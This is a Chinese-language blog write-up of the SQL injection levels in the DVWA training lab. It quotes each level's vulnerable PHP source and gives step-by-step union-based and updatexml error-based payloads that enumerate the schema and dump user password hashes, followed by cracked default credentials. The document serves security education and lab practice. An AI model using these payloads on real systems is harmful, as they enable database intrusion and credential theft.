一)DVWA ——SQL注入的介绍:
DVWA的SQLInjection中有、低、中、高、不可能这 4 个等级,每个等级中均有数据库中5个用户,其ID为1至5。任务:通过SQLi窃取其密码。每一个等级的具体的SQL注入语句参见:SQL注入(没有原理,分类payload)
SQL Injection
low
这个等级SQL查询使用由攻击者直接控制的输入,主要是字符型注入。最基本的注入,通过盲注,union注入都可以。可以在框中输入payload也可以在url中因为本等级是get型注入漏洞。
medium
使用一种形式的SQL注入保护,其功能为“ mysql_real_escape_string() ”。原本mysql_real_escape_string()是用于转义sql语句中一些特殊字符 x00 或 \n 或 \r 或 \ 或 ' 或 " 或 x1a
。但是,由于本等级中的漏洞类型是数字型不是字符型所以也就用不到'
其实也就是这个过滤根本不起任何作用漏洞依旧存在,所用的SQL过程还是和低级的一样,但是需要注意的是,中级文本框已替换为预定义的下拉列表,并使用POST提交表单,在框中输入的参数不会显示在url中,所以没办法直接在地址栏或表单中进行,可以利用hackbar或者burpsuite,而且盲注、union注入都可以。
high
这个等级与之前最大的不同就是查询提交页面与查询结果页面显示的不是同一个,也没有执行302重定向,这样做的目的是为了防止一般的软件注入,因为软件在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入,所以这题得手工注入。它是属于字符型的注入,而且使用了 limit 1 用来限制显示的列数,因此我们可以使用 1’ and 1=2 # 来进行注入,盲注、union注入都可以。
impossible
现在,查询是参数化查询(而不是动态查询),这意味着采用了PDO技术,划清了代码与数据的界限(将代码与数据分隔开),有效防御SQL注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了“脱裤”,Anti-CSRFtoken机制的加入了进一步提高了安全性。。
Blind SQL Injection
low
这个主要考的是boolean盲注。当查询语句能查到数据时,页面固定显示 User ID exists in the database ,当查询不到数据或者语句语法错误时,固定显示 User ID is MISSING from the database. 。所以,这题只能利用boolean盲注或者 sleep延时注入来进行注入。
medium
这个是考的post方式的boolean盲注,注入方面和上面一样,只是需要抓包进行修改注入。
二)union联合查询的问题解决:
当union连接information_schema时,就会出现Illegal mix of collations for operation UNION
,经过一系列的检查发现之后,其实是union连接的字段的字符规则不一样。百度上绝大部分的回答都是进入数据库对连接的不同的字段进行修改,让他们所采用的字符类型相同,解决方式参见:https://blog.csdn.net/qq_44897193/article/details/106516838
DVWA解决乱码问题(快速方法)
但是其实以上的方式在实际中是不适用的,实际会让你直接进入数据库进行修改吗?如果能直接随随便便进库这改改那改改,那你还要进行后续的注入?所以采用十六进制编码也就是把要查询的字段用hex()进行编码,爆出结果后再对它进行解码即可。例如:union select 1,hex(information_schema)
,那么这样就不会再出现问题了。
现实攻击场景下,攻击者是无法看到后端代码的,所以下面的手工注入步骤是建立在无法看到源码的基础上。
三)实际操作:
前提讲解:
数字型注入的判断:
测试步骤:
1)加单引号——>(输入 1')这时sql语句出错,程序无法正常从数据库中查询出数据,抛出异常;
2)加and 1=1——>(输入 1 and 1=1)语句执行正常,与原始页面没有任何差异;
3) 加and 1=2——>(输入 1 and 1=2)语句可以正常执行,但是无法查询出结果,所以返回数据与原始网页存在差异
如果满足以上三点,则可以判断该URL存在数字型注入。
####################################################################
字符型注入的判断:
测试步骤:
1)加单引号——>(输入 1')由于加单引号后变成三个单引号,则无法执行,程序会报错;
2)加'and 1=1——>(输入 1' and 1=1)无法进行注入,还需要通过注释符号将其绕过:
Mysql 有三种常用注释符:
1)-- 注意,这种注释符后边有一个空格
2) # 通过#进行注释
3)/* */ 注释掉符号内的内容
所以加' and 1=1-- '(输入 1' and 1=1-- ')可成功执行返回结果正确;
3)加' and 1=2-- '(输入 1' and 1=2-- ')则会报错
如果满足以上三点,可以判断该url为字符型注入。
DVWA——SQL——low
核心源码:
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Get values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
// Increase loop count
$i++;
}
mysql_close();
}
?>
解析代码:
1)isset检测变量Submit是否已设置并且非 NULL,即判断用户是否点击了Submit按钮。
得到用户提交的数据 id
2)利用用户数据拼接成sql语句query
3)使用mysqli_query函数执行sql语句并返回结果给result,若出错,使用die函数报错
4)使用mysqli_fetch_assoc函数获取结果集的一行给变量row
5)使用first、last变量获取row中的first_name、last_name字段,并使用echo打印 用户输入的id和变量first、last
####################################################################
漏洞成因:
1)没有进行预编译
2)用户数据拼接了代码,没有实现代码、数据分离
3)没有进行敏感字符过滤
可以看到,Low级别的代码对来自客户端的参数id没有进行任何的检查与过滤,存在明显的SQL注入。
方法一: (有回显的union注入)
1)判断是否存在注入,注入是字符型还是数字型
1
1'
1 and 1=1#
1 and 1=2#
1' and 1=1#
1' and 1=2#
1' or 1=1#
1' or 1=1#
1' and '1' ='1 --+
1' and '1' ='2 --+
1' or '1' ='2 --+
1' or '1' ='2 --+
(使用“-- ”。这里注意了“-- ”后面有一个空格。在url当中,我们可以使用“+”来代替“–”后面的空格。到时查询语句将会变成这样:)
输入1-5都会正常的显示对应的用户和密码,6就没有结果显示,说明数据库中存了5个用户的账号密码。
输入 1’ 就会显示错误页面,提示SQL语句错误的位置,说明此错误的SQL语句被执行了。此时已经可以确定是字符型注入而不是数字型注入了:
或者使用其他的万能语句:
1 and 1=1#
1 and 1=2#
结论:此时返回的结果都相同则证明SQL语句没有被执行(因为如果被执行了,那么语句2 返回的结果必定是一个错误提示页面),所以不是数字型注入。
1' and 1=1#
1' and '1' ='1
1' or '1' ='1
1' and 1=2#
1' and '1' ='2
结论:low级别的是字符型注入,单引号闭合。
2)猜解字段数:
1' order by 1#
或者:
输入1′ or 1=1 order by 1 #
或者:
输入1′ and 1=1 order by 1 #
或者:
1' and 1 order by 1#
或者:
union select 1,2,3
1' and 1=1 order by 1#
1' union select 1#
1' and 1=1 order by 2#
1' union select 1,2#
1' and 1=1 order by 3#
1' union select 1,2,3#
结论: 字段数为2
3)确定显示的字段顺序:
1′ union select 1,2 #
说明执行的SQL语句为select First name,Surname from 表 where ID=’id’。
4)获取当前数据库:
1′ union select 1,database()#
1' union select 1,database() from information_schema.schemata#
结论:当前的数据库名是 dvwa
5)获取当前数据库(dvwa)中的表名:
1)1′ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
2)1' UNION SELECT 1,table_name from information_schema.tables where table_schema='dvwa'#
结论:当前的数据库dvwa中 有两个表 guestbook、users
6)获取表中的字段名:
1) 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'and table_schema='dvwa'#
2) 1′ union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
3) 1' UNION SELECT 1,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'#
结论:共8列,user_id、first_name、last_name、user、password、avatar、last_login、failed_login
7)获取数据:
1) 1' union select user_id,password from users#
2) 1' UNION SELECT 1,group_concat(user,0x3a,avatar) from users#
(为了避免分不清各个数据,使用":",即0x3a进行分隔。)
3) 1′ or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
方法二:(error注入)
“ 注入点的判断、猜解字段数、确定字段顺序 ”和 union注入 的方法一样。当前数据库可以用直接database()函数代替。使用updatexml()函数进行错误注入。
用concat+updatexml注入的时候总会加上16进制的连接符(这里是0x7e,用其他16进制符号也可以的),为什么呢?因为不加的话返回内容可能会被吃掉部分,这是updatexml这个函数的特性
5)获取当前数据库中的表名:
1) 1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)#
2) 1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e),1)#
3) 1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 2,1),0x7e),1)#
注:0x7e是~,这样报错的结果就是~sql语句运行结果~。
用1)报错信息中得出database()中第一个表:
用2)报错信息中得出database()中第二个表:
用3)不会显示任何信息,也不会报错,此时说明数据库中只有两个表 guestbook,users
6)获取表中的字段名:
1)1' and updatexml(1,concat(0x7e,(SELECT column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,5),0x7e),1)#
2)1' and updatexml(1,concat(0x7e,(SELECT column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x7e),1)#
3) 1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema="dvwa" and table_name="users"),0x7e),1)#
用1)报错信息中得出users表中第一个字段:
用2)报错信息中得出users表中第二个字段:
同理,获取第二列只需将上面payload改为limit 1,1即可,其余列继续增加即可。最终将八个字段user_id、first_name、last_name、user、password、avatar、last_login、failed_login全都爆出。
用3)报错信息中提示:“ Subquery returns more than 1 row ”,因为没有限制limit导致返回的结果超过一行而报错。
7)获取数据:
1) 1' and updatexml(1,concat(0x7e,(SELECT concat(user,0x3a,password) from users limit 0,1),0x7e),1)#
2) 1' and updatexml(1,concat(0x7e,(SELECT group_concat(user_id,0x3a,password) from users limit 0,1),0x7e),1)#
3) 1' and updatexml(1,concat(0x7e,(select concat(user_id,0x7e,password) from users),0x7e),1)#
4) 1' and updatexml(1,concat(0x7e,(SELECT concat(0x23,user,0x3a,password,0x23) FROM users limit 0,1),0x7e),1)#
用 1)报错信息中得出users表中指定字段的数据:
用 2)报错信息中得出users表中指定字段的数据:
但是只能爆出一个字段内容,因为使用了group_concat,所以要使用concat。
用 3)报错信息会提示“ Subquery returns more than 1 row ”而无法爆出任何信息,因为没有加上limit限制。
用 4)报错信息中得出users表中指定字段的数据:
DVWA——SQL——medium
核心源码:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysql_real_escape_string( $id );
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Display values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
// Increase loop count
$i++;
}
//mysql_close();
}
?>
代码解析:
1)isset检测变量Submit是否已设置并且非 NULL,即判断用户是否点击了Submit按钮。
2)得到用户提交的数据 id,使用mysqli_real_escape_string函数进行转义
3)利用用户数据拼接成sql语句query
4)使用mysqli_query函数执行sql语句并返回结果给result,若出错,使用die函数报错
5)使用mysqli_fetch_assoc函数获取结果集的一行给变量row
6)使用first、last变量获取row中的first_name、last_name字段,并使用echo打印 用户输入的id和变量first、last
####################################################################
漏洞成因:
1)没有进行预编译
2)用户数据拼接了代码,没有实现代码、数据分离
3)没有很好的对敏感关键字进行过滤。想要利用mysqli_real_escape_string函数
进行敏感字符过滤,但是mysqli_real_escape_string函数并不能过滤
一些敏感的关键字(如 and or等),它的功能只是转义一些字符,仅成功
过滤了',属于开发者对函数功能了解的不够全,网络安全-php安全知识点
中有对该函数的解释。
可以看到,Medium级别的代码利用 mysql_real_escape_string函数 对特殊符号\x00 , \n , \r , \ , ’ , ” , \x1a
进行转义;同时前端页面设置了下拉选择表单(url上没有参数,是post方式),希望以此来控制用户的输入。
我们可以通过利用 burpsuite或者hackbar 来进行SQL注入的post类型注入,在本级别中所使用的payload和low等级的完全相同,只是无法直接在url或者框中进行SQL语句的构造而是要借助工具而已。
方法一:(使用burpsuite——Union类型)
1)判断是否存在注入,注入是字符型还是数字型
抓包更改参数id为1’ or 1=1 #
报错:
抓包更改参数id为1 or 1=1 #,查询成功:
【或者是在burpsuite中直接看成功与否即可,不用每次都 forward】
结论:数字型,无需闭合,(由于是数字型注入,服务器端的mysql_real_escape_string函数就形同虚设了,因为数字型注入并不需要借助引号,而此函数目的是将所有带 ’ 的符号都进行转义。)
2)——7)此处就不再讲解了,其使用的payload和low等级的是完全相同的,不重复讲解。(字段判断、获取数据库与LOW一致,不必闭合,由在客户端提交,改为在burpsuite中提交。)
2)获取当前数据库
id=1 UNION SELECT 1,database() from information_schema.schemata#&Submit=Submit
3)获取数据库中的表
1 UNION SELECT 1,table_name from information_schema.tables where table_schema='dvwa'#
此时我们会发现由于有mysql_real_escape_string函数的存在,所以单引号都被转义变成了 \’ ,解决的方法就是使用进制转在线换工具将十进制(dvwa)转换为十六进制码(0×7573657273),利用16进制进行绕过(转十六进制时不用将引号一起进行),此时就变成了:
1 UNION SELECT 1,table_name from information_schema.tables where table_schema=0×7573657273#
后序步骤就不再讲解了(同样的,有需要引号的还是将字符转为16进制即可)。
方法二:(使用hackbar)
其他同上:(此时是post型、数字型)
2)——7)此处就不再讲解了,其使用的payload和low等级的是完全相同的,不重复讲解。
DVWA——SQL——high
核心源码:
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id LIMIT 1;";
$result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Get values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
// Increase loop count
$i++;
}
mysql_close();
}
?>
代码解析:
1)isset检测Session中的id变量是否已设置并且非 NULL
2)得到用户提交的数据 id
3)利用用户数据拼接成sql语句query,id当做字符串
4)使用mysqli_query函数执行sql语句并返回结果给result,若出错,使用die函数报错,错误是自定义的
5)使用mysqli_fetch_assoc函数获取结果集的一行给变量row
6)使用first、last变量获取row中的first_name、last_name字段,并使用echo打印 用户输入的id和变量first、last
####################################################################
漏洞成因:
1)没有进行预编译
2)用户数据拼接了代码,没有实现代码、数据分离
3)想要利用session和自定义错误返回来增加安全系数,成功的躲过了Error注入方式
可以看到,与Medium级别的代码相比,High级别的只是在SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。
虽然添加了LIMIT 1,但是可以通过 # 将其注释掉。同时,High级别的查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止一般的sqlmap注入,因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。
也就是说high等级中使用的payload和low的union注入方法一样,只是多了一个弹出的新页面而已(为了防止使用sqlmap),所以我们使用手工注入是没有收到限制的。同时报错注入无法在high级别中实现,因为使用了or die函数。
1)判断是否存在注入,注入是字符型还是数字型
输入 1
输入 1’
输入 1 and 1=1
输入 1 and 1=2
输入 1’
输入 1’ and 1=1#
输入 1’ and 1=2#
输入 1’ and ‘1’=‘1
输入 1’ and ‘1’=‘2
输入 1’ and 1=1-- ’
输入 1’ and 1=2-- ’
总结:根据前提讲解中对数字型和字符型的判断的步骤,因为字符型在不同的SQL语句中页面会显示正确和错误的不同页面,而数字型无论对错都显示同样的页面,所以是字符型。
2)猜解字段数
输入 1’ order by 1-- ’
输入 1’ order by 2#
输入 1’ order by 3-- ’
总结:字段数是 2
3)确定字段顺序
输入 1’ union select 1,2#
4)获取当前数据库
输入 1’ union select 1,database()-- ’
总结:当前的数据库为dvwa
5)获取数据库中的表
总结:数据库dvwa中一共有两个表,guestbook与users。
6)获取表中的字段名
输入 1’ union select 1,concat(0x7e,column_name,0x7e) from information_schema.columns where table_schema=‘dvwa’ and table_name=‘users’#
7)获取数据
输入 1’ union select 1,concat(user,0x7e,password) from users#
1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
输入 1’ union select 1,concat(user,0x7e,password) from users limit 0,1#
输入 1’ union select 1,concat(user,0x7e,password) from users limit 1,1#
输入 1’ union select 1,concat(user,0x7e,password) from users limit 2,1#
输入 1’ union select 1,concat(user,0x7e,password) from users limit 3,1#
输入 1’ union select 1,concat(user,0x7e,password) from users limit 4,1#
后续将limit 0,1累加即可。
DVWA——SQL——impossible
核心源码:
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
可以看到,Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了“脱裤”,Anti-CSRFtoken机制的加入了进一步提高了安全性。
参考文献:
由谢公子转载的
最佳的dvwa选择(完整-首选)
SQL注入的字符型和数字型的判断
##############################################################
(以下的内容不用看,直接忽略即可)
方法二: 使用“#”符号来注释后面的单引号,到时查询语句将会变成这样:
select firstname,surname from users where id = ‘1’#’;
方法三: 使用“-- ”。这里注意了“-- ”后面有一个空格。在url当中,我们可以使用“+”来代替“–”后面的空格。到时查询语句将会变成这样:
select firstname,surname from users where id = ‘1’–+’;
解决编码问题:https://www.cnblogs.com/pangya/p/13331059.html
解码:
information_schema,后者:dvwa
解码:guestbook、users表
5的解码:user_id first_name last_name user password avatar last_login failed_login
6)admin–5f4dcc3b5aa765d61d8327deb882cf99由MD5解密:password
gordonb-- e99a18c428cb38d5f260853678922e03 abc123
1337–8d3533d75ae2c3966d7e0d4fcc69216b charley
pablo–0d107d09f5bbe40cade3de5c71e9e9b7 letmein
smithy–5f4dcc3b5aa765d61d8327deb882cf99 password
————————————————————————————————————————————
中级中提交后发现URL不会把参数显示出来,所以是post型,也没有输入框,所以可以采用burp抓包,修改参数;也可以用hackbar插件:
我们可以用hackbar试一下或者用burpsuite抓包试一下。先用hackbar试一下,
添加post数据如下 点击run
基于DVWA的SQL注入-低中高链接https://blog.csdn.net/weixin_43870289/article/details/103066567
用sqlmap:https://blog.csdn.net/huilan_same/article/details/68067550
用bp:https://blog.csdn.net/w17691058648x/article/details/94645753
盲注hackbar和sqlmap:https://blog.csdn.net/xy_sugar/article/details/86634786
中级用bp:https://blog.csdn.net/weixin_40586270/article/details/81665850
搜索此页面:
https://blog.csdn.net/qq_39283174/article/details/102720039?biz_id=102&utm_term=DVWA%E4%B8%ADsql%E4%B8%AD%E7%BA%A7%E7%94%A8hackbar&utm_medium=distribute.pc_search_result.none-task-blog-2allsobaiduweb~default-5-102720039&spm=1018.2118.3001.4187
考虑以下查询:
$iId = mysql_real_escape_string(“1 OR 1=1”);
$sSql = “SELECT * FROM table WHERE id = $iId”;
mysql_real_escape_string()不会保护你免受这个。事实上,’ '在查询内部的变量周围使用单引号()可以保护您免受这种情况的侵害。以下也是一个选项:
$iId = (int)“1 OR 1=1”;
$sSql = “SELECT * FROM table WHERE id = $iId”;
如把一条包含单引号的SQL语句存入数据库中。当然,可以直接存入数据库,但存数据操作所在的系统中统一都对单引号、双引号等特殊字符进行过滤时,那就麻烦了。
鄙人在编码过程中就遇到了这种情况。为了解决将单引号和双引号能在页面显示,且能够存进数据库,于是通过将语句中的单引号和双引号替换为相应的HTML编码(见下表)。这样在页面上可以正常显示为单引号和双引号,也可以将单引号和双引号存入数据库,同时在将SQL语句从数据库中读出来并生成JSon字符串时,也不会发生错误。
名称 编码
单引号 & # 039;
双引号 "
绕过的有关文章:https://www.cnblogs.com/yubolin/p/6050010.html
所有的URL编码的方式:
https://blog.csdn.net/zhanghuaichao/article/details/77862037?biz_id=102&utm_term=%E5%8D%95%E5%BC%95%E5%8F%B7%E7%9A%8416%E8%BF%9B%E5%88%B6%E7%BC%96%E7%A0%81&utm_medium=distribute.pc_search_result.none-task-blog-2allsobaiduweb~default-1-77862037&spm=1018.2118.3001.4187
原文链接:https://blog.csdn.net/u014029795/article/details/100006639
原文链接:https://blog.csdn.net/u014029795/article/details/100006639
输入任意用户名和密码看返回的错误提示,记着错误的提示并在然后options下,Grep-Match中添加 Username and/or password incorrect
sql:
http://www.securiteam.com/securityreviews/5DP0N1P76E.html
https://zh.wikipedia.org/wiki/SQL_injection
http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
https://www.owasp.org/index.php/SQL_Injection
http://bobby-tables.com/